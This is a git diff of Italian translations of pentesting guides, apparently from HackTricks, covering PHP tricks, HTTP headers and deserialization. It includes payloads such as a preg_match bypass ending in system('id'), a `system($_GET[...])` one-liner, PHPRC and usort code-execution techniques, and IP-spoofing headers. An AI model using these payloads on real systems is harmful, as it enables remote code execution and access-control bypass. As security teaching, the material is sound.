- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Estensione Burp o script python per test avanzati di GraphQL. Lo _**Scanner**_ è il nucleo di InQL v5.0, dove puoi analizzare un endpoint GraphQL o un file di schema di introspezione locale. Genera automaticamente tutte le possibili query e mutazioni, organizzandole in una vista strutturata per la tua analisi. Il componente _**Attacker**_ ti consente di eseguire attacchi GraphQL in batch, che possono essere utili per eludere limiti di velocità mal implementati: `python3 inql.py -t http://example.com/graphql -o output.json`
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Prova a ottenere lo schema anche con l'introspezione disabilitata utilizzando l'aiuto di alcuni database Graphql che suggeriranno i nomi delle mutazioni e dei parametri.
|
||||
|
||||
### Client
|
||||
|
@ -115,7 +115,7 @@ In breve, il problema si verifica perché le funzioni `preg_*` in PHP si basano
|
||||
[Questo thread di Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) è stato anche collegato nel post dove si parla più in dettaglio di questo problema. Il nostro compito era ora chiaro:\
|
||||
**Inviare un input che avrebbe fatto fare 100_000+ ricorsioni all'espressione regolare, causando SIGSEGV, facendo restituire alla funzione `preg_match()` `false`, facendo così pensare all'applicazione che il nostro input non è malevolo, lanciando la sorpresa alla fine del payload qualcosa come `{system(<verybadcommand>)}` per ottenere SSTI --> RCE --> flag :)**.
|
||||
|
||||
Bene, in termini di regex, non stiamo effettivamente facendo 100k "ricorsioni", ma stiamo contando i "passi di backtracking", che come afferma la [documentazione PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) è impostata di default a 1_000_000 (1M) nella variabile `pcre.backtrack_limit`.\
|
||||
Bene, in termini di regex, in realtà non stiamo facendo 100k "ricorsioni", ma stiamo contando i "passi di backtracking", che come afferma la [documentazione PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) è impostata di default a 1_000_000 (1M) nella variabile `pcre.backtrack_limit`.\
|
||||
Per raggiungere questo, `'X'*500_001` risulterà in 1 milione di passi di backtracking (500k in avanti e 500k indietro):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
@ -155,8 +155,9 @@ Check:
|
||||
|
||||
- **register_globals**: In **PHP < 4.1.1.1** o se mal configurato, **register_globals** potrebbe essere attivo (o il loro comportamento è imitato). Questo implica che nelle variabili globali come $\_GET se hanno un valore e.g. $\_GET\["param"]="1234", puoi accedervi tramite **$param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili\*\* che vengono utilizzate all'interno del codice.
|
||||
- I **cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto**, quindi se all'interno di un dominio **cookie diversi sono utilizzati in percorsi diversi** puoi fare in modo che un percorso **acceda al cookie dell'altro percorso** impostando il valore del cookie dell'altro percorso.\
|
||||
In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che il **valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome che corrisponde a esso in path2).
|
||||
In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che **il valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome corrispondente in path2).
|
||||
- Quando hai i **nomi utente** degli utenti della macchina. Controlla l'indirizzo: **/\~\<USERNAME>** per vedere se le directory php sono attivate.
|
||||
- Se una configurazione php ha **`register_argc_argv = On`** allora i parametri di query separati da spazi vengono utilizzati per popolare l'array di argomenti **`array_keys($_SERVER['argv'])`** come se fossero **argomenti della CLI**. Questo è interessante perché se quella **impostazione è disattivata**, il valore dell'**array args sarà `Null`** quando chiamato dal web poiché l'array args non sarà popolato. Pertanto, se una pagina web cerca di controllare se sta girando come web o come strumento CLI con un confronto come `if (empty($_SERVER['argv'])) {` un attaccante potrebbe inviare **parametri nella richiesta GET come `?--configPath=/lalala`** e penserà di stare girando come CLI e potenzialmente analizzare e utilizzare quegli argomenti. Maggiori informazioni nel [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
|
||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
@ -174,17 +175,15 @@ True
|
||||
|
||||
#### Causing error after setting headers
|
||||
|
||||
Da [**questo thread di twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) puoi vedere che inviando più di 1000 parametri GET o 1000 parametri POST o 20 file, PHP non imposterà gli header nella risposta.
|
||||
|
||||
Consentendo di bypassare, ad esempio, gli header CSP impostati in codici come:
|
||||
Da [**questo thread di twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) puoi vedere che inviando più di 1000 parametri GET o 1000 parametri POST o 20 file, PHP non imposterà gli header nella risposta
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### Compilare un corpo prima di impostare le intestazioni
|
||||
#### Riempire un corpo prima di impostare le intestazioni
|
||||
|
||||
Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP del **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\
|
||||
Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP un **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\
|
||||
Nello scenario seguente, **l'attaccante ha fatto generare al server alcuni grandi errori**, e come puoi vedere nello schermo, quando PHP ha cercato di **modificare le informazioni dell'intestazione, non ci è riuscito** (quindi, ad esempio, l'intestazione CSP non è stata inviata all'utente):
|
||||
|
||||
.png>)
|
||||
@ -203,7 +202,7 @@ php-ssrf.md
|
||||
**\`ls\`;**\
|
||||
**shell_exec("ls");**
|
||||
|
||||
[Controlla questo per altre funzioni PHP utili](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||
[Controlla questo per altre utili funzioni PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||
|
||||
### **RCE tramite** **preg_replace()**
|
||||
```php
|
||||
@ -234,7 +233,7 @@ Dovrai **rompere** la **sintassi** del codice, **aggiungere** il tuo **payload**
|
||||
|
||||
**Altra opzione** (se hai il codice interno) è modificare alcune variabili per alterare l'esecuzione: `$file = "hola"`
|
||||
|
||||
### **RCE via usort()**
|
||||
### **RCE tramite usort()**
|
||||
|
||||
Questa funzione viene utilizzata per ordinare un array di elementi utilizzando una funzione specifica.\
|
||||
Per abusare di questa funzione:
|
||||
@ -263,20 +262,20 @@ Per scoprire il numero di parentesi che devi chiudere:
|
||||
|
||||
- `?order=id;}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ';'`). Probabilmente ci manca una o più parentesi.
|
||||
- `?order=id);}//`: otteniamo un **avviso**. Sembra corretto.
|
||||
- `?order=id));}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ')' i`). Probabilmente abbiamo troppe parentesi chiuse.
|
||||
- `?order=id));}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ')' i`). Probabilmente abbiamo troppe parentesi di chiusura.
|
||||
|
||||
### **RCE via .httaccess**
|
||||
### **RCE tramite .httaccess**
|
||||
|
||||
Se puoi **caricare** un **.htaccess**, allora puoi **configurare** diverse cose e persino eseguire codice (configurando che i file con estensione .htaccess possono essere **eseguiti**).
|
||||
|
||||
Diverse shell .htaccess possono essere trovate [qui](https://github.com/wireghoul/htshells)
|
||||
|
||||
### RCE via Env Variables
|
||||
### RCE tramite variabili Env
|
||||
|
||||
Se trovi una vulnerabilità che ti consente di **modificare le variabili env in PHP** (e un'altra per caricare file, anche se con ulteriori ricerche forse questo può essere aggirato), potresti abusare di questo comportamento per ottenere **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Questa variabile env ti consente di caricare librerie arbitrarie durante l'esecuzione di altri binari (anche se in questo caso potrebbe non funzionare).
|
||||
- **`PHPRC`** : Istruisce PHP su **dove trovare il suo file di configurazione**, di solito chiamato `php.ini`. Se puoi caricare il tuo file di configurazione, allora usa `PHPRC` per puntare a esso. Aggiungi un'entrata **`auto_prepend_file`** specificando un secondo file caricato. Questo secondo file contiene codice **PHP normale, che viene poi eseguito** dal runtime PHP prima di qualsiasi altro codice.
|
||||
- **`PHPRC`** : Istruisce PHP su **dove trovare il suo file di configurazione**, solitamente chiamato `php.ini`. Se puoi caricare il tuo file di configurazione, allora usa `PHPRC` per puntare a esso. Aggiungi un'entrata **`auto_prepend_file`** specificando un secondo file caricato. Questo secondo file contiene codice **PHP normale, che viene poi eseguito** dal runtime PHP prima di qualsiasi altro codice.
|
||||
1. Carica un file PHP contenente il nostro shellcode
|
||||
2. Carica un secondo file, contenente una direttiva **`auto_prepend_file`** che istruisce il preprocessore PHP a eseguire il file che abbiamo caricato nel passo 1
|
||||
3. Imposta la variabile `PHPRC` sul file che abbiamo caricato nel passo 2.
|
||||
@ -309,9 +308,9 @@ phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
## Bypass della sanitizzazione PHP & Brain Fuck
|
||||
|
||||
[**In this post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) è possibile trovare ottime idee per generare un codice PHP brain fuck con pochissimi caratteri consentiti.\
|
||||
[**In questo post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) è possibile trovare ottime idee per generare un codice PHP brain fuck con pochissimi caratteri consentiti.\
|
||||
Inoltre viene proposta un'interessante modalità per eseguire funzioni che consentono di bypassare diversi controlli:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
|
@ -1,15 +1,15 @@
|
||||
# Intestazioni HTTP speciali
|
||||
# Special HTTP headers
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elenchi di parole e strumenti
|
||||
## Wordlists & Tools
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
||||
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
||||
|
||||
## Intestazioni per cambiare posizione
|
||||
## Headers to Change Location
|
||||
|
||||
Riscrivi **IP sorgente**:
|
||||
Rewrite **IP source**:
|
||||
|
||||
- `X-Originating-IP: 127.0.0.1`
|
||||
- `X-Forwarded-For: 127.0.0.1`
|
||||
@ -26,16 +26,16 @@ Riscrivi **IP sorgente**:
|
||||
- `True-Client-IP: 127.0.0.1`
|
||||
- `Cluster-Client-IP: 127.0.0.1`
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (Controlla le intestazioni hop-by-hop)
|
||||
- `Connection: close, X-Forwarded-For` (Controlla gli header hop-by-hop)
|
||||
|
||||
Riscrivi **posizione**:
|
||||
Rewrite **location**:
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
## Intestazioni hop-by-hop
|
||||
## Hop-by-Hop headers
|
||||
|
||||
Un'intestazione hop-by-hop è un'intestazione progettata per essere elaborata e consumata dal proxy che gestisce attualmente la richiesta, a differenza di un'intestazione end-to-end.
|
||||
Un header hop-by-hop è un header progettato per essere elaborato e consumato dal proxy che gestisce attualmente la richiesta, a differenza di un header end-to-end.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
@ -52,14 +52,14 @@ Un'intestazione hop-by-hop è un'intestazione progettata per essere elaborata e
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## Intestazioni di cache
|
||||
## Cache Headers
|
||||
|
||||
**Intestazioni di cache del server**:
|
||||
**Server Cache Headers**:
|
||||
|
||||
- **`X-Cache`** nella risposta può avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata nella cache
|
||||
- Comportamento simile nell'intestazione **`Cf-Cache-Status`**
|
||||
- Comportamento simile nell'header **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** indica se una risorsa è memorizzata nella cache e quando sarà la prossima volta che la risorsa sarà memorizzata nella cache di nuovo: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** è spesso usato nella risposta per **indicare intestazioni aggiuntive** che sono trattate come **parte della chiave di cache** anche se normalmente non sono chiave.
|
||||
- **`Vary`** è spesso usato nella risposta per **indicare header aggiuntivi** che sono trattati come **parte della chiave di cache** anche se normalmente non sono chiave.
|
||||
- **`Age`** definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** indica anche che una risorsa è stata memorizzata nella cache
|
||||
|
||||
@ -67,25 +67,53 @@ Un'intestazione hop-by-hop è un'intestazione progettata per essere elaborata e
|
||||
../../pentesting-web/cache-deception/
|
||||
{{#endref}}
|
||||
|
||||
**Intestazioni di cache locali**:
|
||||
**Local Cache headers**:
|
||||
|
||||
- `Clear-Site-Data`: Intestazione per indicare la cache che dovrebbe essere rimossa: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Clear-Site-Data`: Header per indicare la cache che dovrebbe essere rimossa: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Contiene la data/ora in cui la risposta dovrebbe scadere: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` stesso di `Cache-Control: no-cache`
|
||||
- `Warning`: L'intestazione HTTP generale **`Warning`** contiene informazioni su possibili problemi con lo stato del messaggio. Più di un'intestazione `Warning` può apparire in una risposta. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Warning`: L'header HTTP generale **`Warning`** contiene informazioni su possibili problemi con lo stato del messaggio. Più di un header `Warning` può apparire in una risposta. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Condizionali
|
||||
## Conditionals
|
||||
|
||||
- Le richieste che utilizzano queste intestazioni: **`If-Modified-Since`** e **`If-Unmodified-Since`** riceveranno una risposta con dati solo se l'intestazione di risposta **`Last-Modified`** contiene un orario diverso.
|
||||
- Le richieste condizionali che utilizzano **`If-Match`** e **`If-None-Match`** utilizzano un valore Etag in modo che il server web invii il contenuto della risposta se i dati (Etag) sono cambiati. L'`Etag` è preso dalla risposta HTTP.
|
||||
- Le richieste che utilizzano questi header: **`If-Modified-Since`** e **`If-Unmodified-Since`** riceveranno una risposta con dati solo se l'header di risposta **`Last-Modified`** contiene un orario diverso.
|
||||
- Le richieste condizionali che utilizzano **`If-Match`** e **`If-None-Match`** usano un valore Etag in modo che il server web invii il contenuto della risposta se i dati (Etag) sono cambiati. L'`Etag` è preso dalla risposta HTTP.
|
||||
- Il valore **Etag** è solitamente **calcolato** in base al **contenuto** della risposta. Ad esempio, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica che l'`Etag` è il **Sha1** di **37 byte**.
|
||||
|
||||
## Richieste di intervallo
|
||||
## Range requests
|
||||
|
||||
- **`Accept-Ranges`**: Indica se il server supporta richieste di intervallo, e se sì, in quale unità l'intervallo può essere espresso. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Indica la parte di un documento che il server dovrebbe restituire.
|
||||
- **`Accept-Ranges`**: Indica se il server supporta le richieste di intervallo e, in tal caso, in quale unità l'intervallo può essere espresso. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Indica la parte di un documento che il server dovrebbe restituire. Ad esempio, `Range:80-100` restituirà i byte da 80 a 100 della risposta originale con un codice di stato di 206 Contenuto Parziale. Ricorda anche di rimuovere l'header `Accept-Encoding` dalla richiesta.
|
||||
- Questo potrebbe essere utile per ottenere una risposta con codice JavaScript riflesso arbitrario che altrimenti potrebbe essere sfuggito. Ma per abusare di questo dovresti iniettare questi header nella richiesta.
|
||||
- **`If-Range`**: Crea una richiesta di intervallo condizionale che viene soddisfatta solo se l'etag o la data forniti corrispondono alla risorsa remota. Usato per prevenire il download di due intervalli da versioni incompatibili della risorsa.
|
||||
-
|
||||
- **`Content-Range`**: Indica dove in un messaggio a corpo completo appartiene un messaggio parziale.
|
||||
|
||||
## Message body information
|
||||
|
||||
- **`Content-Length`:** La dimensione della risorsa, in numero decimale di byte.
|
||||
- **`Content-Type`**: Indica il tipo di media della risorsa
|
||||
- **`Content-Encoding`**: Usato per specificare l'algoritmo di compressione.
|
||||
- **`Content-Language`**: Descrive la/e lingua/e umana/e destinate al pubblico, in modo che consenta a un utente di differenziare in base alla lingua preferita dell'utente.
|
||||
- **`Content-Location`**: Indica una posizione alternativa per i dati restituiti.
|
||||
|
||||
Dal punto di vista di un pentest, queste informazioni sono solitamente "inutili", ma se la risorsa è **protetta** da un 401 o 403 e riesci a trovare un **modo** per **ottenere** queste **info**, questo potrebbe essere **interessante.**\
|
||||
Ad esempio, una combinazione di **`Range`** e **`Etag`** in una richiesta HEAD può rivelare il contenuto della pagina tramite richieste HEAD:
|
||||
|
||||
- Una richiesta con l'header `Range: bytes=20-20` e con una risposta contenente `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` sta rivelando che il SHA1 del byte 20 è `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## Server Info
|
||||
|
||||
- `Server: Apache/2.4.1 (Unix)`
|
||||
- `X-Powered-By: PHP/5.3.3`
|
||||
|
||||
## Controls
|
||||
|
||||
- **`Allow`**: Questo header è usato per comunicare i metodi HTTP che una risorsa può gestire. Ad esempio, potrebbe essere specificato come `Allow: GET, POST, HEAD`, indicando che la risorsa supporta questi metodi.
|
||||
- **`Expect`**: Utilizzato dal client per comunicare le aspettative che il server deve soddisfare affinché la richiesta venga elaborata con successo. Un caso d'uso comune coinvolge l'header `Expect: 100-continue`, che segnala che il client intende inviare un grande payload di dati. Il client cerca una risposta `100 (Continue)` prima di procedere con la trasmissione. Questo meccanismo aiuta a ottimizzare l'uso della rete attendendo la conferma del server.
|
||||
|
||||
## Downloads
|
||||
|
||||
- L'header **`Content-Disposition`** nelle risposte HTTP indica se un file dovrebbe essere visualizzato **inline** (all'interno della pagina web) o trattato come un **allegato** (scaricato). Ad esempio:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
@ -101,7 +129,7 @@ Questo significa che il file chiamato "filename.jpg" è destinato ad essere scar
|
||||
|
||||
### **Tipi Fidati**
|
||||
|
||||
Imponendo i Tipi Fidati tramite CSP, le applicazioni possono essere protette contro attacchi DOM XSS. I Tipi Fidati garantiscono che solo oggetti specificamente creati, conformi alle politiche di sicurezza stabilite, possano essere utilizzati in chiamate pericolose alle API web, garantendo così la sicurezza del codice JavaScript per impostazione predefinita.
|
||||
Imponendo i Tipi Fidati tramite CSP, le applicazioni possono essere protette contro attacchi DOM XSS. I Tipi Fidati garantiscono che solo oggetti specificamente progettati, conformi alle politiche di sicurezza stabilite, possano essere utilizzati in chiamate API web pericolose, garantendo così la sicurezza del codice JavaScript per impostazione predefinita.
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -120,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
Questo header previene il MIME type sniffing, una pratica che potrebbe portare a vulnerabilità XSS. Garantisce che i browser rispettino i tipi MIME specificati dal server.
|
||||
Questo header previene il MIME type sniffing, una pratica che potrebbe portare a vulnerabilità XSS. Garantisce che i browser rispettino i MIME type specificati dal server.
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
|
@ -18,7 +18,7 @@ In PHP, specifici metodi magici sono utilizzati durante i processi di serializza
|
||||
- `__wakeup`: Chiamato quando un oggetto viene deserializzato. Viene utilizzato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altri compiti di reinizializzazione.
|
||||
- `__unserialize`: Questo metodo viene chiamato invece di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce un maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
|
||||
- `__destruct`: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. È tipicamente usato per compiti di pulizia, come la chiusura di handle di file o connessioni al database.
|
||||
- `__toString`: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo efficacemente una rappresentazione testuale dell'oggetto.
|
||||
- `__toString`: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo effettivamente una rappresentazione testuale dell'oggetto.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -118,10 +118,10 @@ $ser=serialize($o);
|
||||
### PHPGGC (ysoserial per PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) può aiutarti a generare payload per abusare delle deserializzazioni PHP.\
|
||||
Nota che in diversi casi **non sarai in grado di trovare un modo per abusare di una deserializzazione nel codice sorgente** dell'applicazione, ma potresti essere in grado di **abusare del codice delle estensioni PHP esterne.**\
|
||||
Nota che in diversi casi **non sarai in grado di trovare un modo per abusare di una deserializzazione nel codice sorgente** dell'applicazione, ma potresti essere in grado di **abusare del codice di estensioni PHP esterne.**\
|
||||
Quindi, se puoi, controlla il `phpinfo()` del server e **cerca su internet** (e anche sui **gadgets** di **PHPGGC**) alcuni possibili gadget che potresti abusare.
|
||||
|
||||
### phar:// metadata deserialization
|
||||
### deserializzazione dei metadati phar://
|
||||
|
||||
Se hai trovato un LFI che sta solo leggendo il file e non eseguendo il codice php al suo interno, ad esempio utilizzando funzioni come _**file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**_**.** Puoi provare ad abusare di una **deserializzazione** che si verifica quando **leggi** un **file** utilizzando il protocollo **phar**.\
|
||||
Per ulteriori informazioni leggi il seguente post:
|
||||
@ -170,7 +170,7 @@ python-yaml-deserialization.md
|
||||
### JS Magic Functions
|
||||
|
||||
JS **non ha funzioni "magiche"** come PHP o Python che vengono eseguite solo per creare un oggetto. Ma ha alcune **funzioni** che sono **frequentemente usate anche senza chiamarle direttamente** come **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Se abusando di una deserializzazione puoi **compromettere queste funzioni per eseguire altro codice** (potenzialmente abusando delle inquinamenti del prototipo) potresti eseguire codice arbitrario quando vengono chiamate.
|
||||
Se abusando di una deserializzazione puoi **compromettere queste funzioni per eseguire altro codice** (potenzialmente abusando delle inquinamenti di prototipo) potresti eseguire codice arbitrario quando vengono chiamate.
|
||||
|
||||
Un altro **modo "magico" per chiamare una funzione** senza chiamarla direttamente è **compromettendo un oggetto restituito da una funzione async** (promise). Perché, se **trasformi** quell'**oggetto di ritorno** in un'altra **promise** con una **proprietà** chiamata **"then" di tipo funzione**, verrà **eseguito** solo perché è restituito da un'altra promise. _Segui_ [_**questo link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _per ulteriori informazioni._
|
||||
```javascript
|
||||
@ -231,7 +231,7 @@ All'interno del file `node-serialize/lib/serialize.js` puoi trovare lo stesso fl
|
||||
|
||||
.png>)
|
||||
|
||||
Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato** `eval` viene utilizzato per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.
|
||||
Come puoi vedere nell'ultimo blocco di codice, **se il flag viene trovato** viene utilizzato `eval` per deserializzare la funzione, quindi fondamentalmente **l'input dell'utente viene utilizzato all'interno della funzione `eval`**.
|
||||
|
||||
Tuttavia, **serializzare semplicemente** una funzione **non la eseguirà** poiché sarebbe necessario che qualche parte del codice **chiamasse `y.rce`** nel nostro esempio e ciò è altamente **improbabile**.\
|
||||
Comunque, potresti semplicemente **modificare l'oggetto serializzato** **aggiungendo alcune parentesi** per eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.\
|
||||
@ -342,13 +342,13 @@ Per il testing black box, cerca specifiche **firme o "Magic Bytes"** che denotan
|
||||
- Intestazioni di risposta HTTP con `Content-type` impostato su `application/x-java-serialized-object`.
|
||||
- Modello esadecimale che indica una compressione precedente: `1F 8B 08 00`.
|
||||
- Modello Base64 che indica una compressione precedente: `H4sIA`.
|
||||
- File web con estensione `.faces` e il parametro `faces.ViewState`. Scoprire questi modelli in un'applicazione web dovrebbe indurre a un esame come dettagliato nel [post sulla deserializzazione di Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||
- File web con estensione `.faces` e il parametro `faces.ViewState`. Scoprire questi modelli in un'applicazione web dovrebbe indurre a un esame come dettagliato nel [post sulla Deserializzazione del ViewState di Java JSF](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Controlla se vulnerabile
|
||||
|
||||
Se vuoi **imparare come funziona un exploit di deserializzazione Java** dovresti dare un'occhiata a [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
Se vuoi **imparare come funziona un exploit di deserializzazione Java** dovresti dare un'occhiata a [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Test White Box
|
||||
|
||||
@ -363,7 +363,7 @@ Quando esegui **gadgetinspector** (dopo averlo costruito) non preoccuparti dei t
|
||||
|
||||
#### Black Box Test
|
||||
|
||||
Utilizzando l'estensione Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puoi identificare **quali librerie sono disponibili** (e persino le versioni). Con queste informazioni potrebbe essere **più facile scegliere un payload** per sfruttare la vulnerabilità.\
|
||||
Utilizzando l'estensione Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puoi identificare **quali librerie sono disponibili** (e anche le versioni). Con queste informazioni potrebbe essere **più facile scegliere un payload** per sfruttare la vulnerabilità.\
|
||||
[**Leggi questo per saperne di più su GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe è focalizzato sulle **deserializzazioni `ObjectInputStream`**.
|
||||
|
||||
@ -494,14 +494,14 @@ Leggi di più su questa libreria Java JSON: [https://www.alphabot.com/security/b
|
||||
Java utilizza molto la serializzazione per vari scopi come:
|
||||
|
||||
- **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc.
|
||||
- **RMI (Remote Method Invocation)**: Il protocollo Java RMI, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
|
||||
- **RMI (Remote Method Invocation)**: Il protocollo RMI di Java, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
|
||||
- **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
|
||||
- **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per trasmettere oggetti attraverso la rete.
|
||||
- **Protocolli personalizzati**: In Java, la prassi standard prevede la trasmissione di oggetti Java grezzi, che saranno dimostrati negli esempi di exploit futuri.
|
||||
|
||||
### Prevention
|
||||
|
||||
#### Transient objects
|
||||
#### Oggetti transient
|
||||
|
||||
Una classe che implementa `Serializable` può implementare come `transient` qualsiasi oggetto all'interno della classe che non dovrebbe essere serializzabile. Ad esempio:
|
||||
```java
|
||||
@ -546,7 +546,7 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklisting delle classi dannose**, utilizzando un parametro JVM:
|
||||
**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklisting di classi dannose**, utilizzando un parametro JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
@ -568,7 +568,7 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Sfruttare le librerie esterne per una sicurezza migliorata**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come l'inserimento in whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.
|
||||
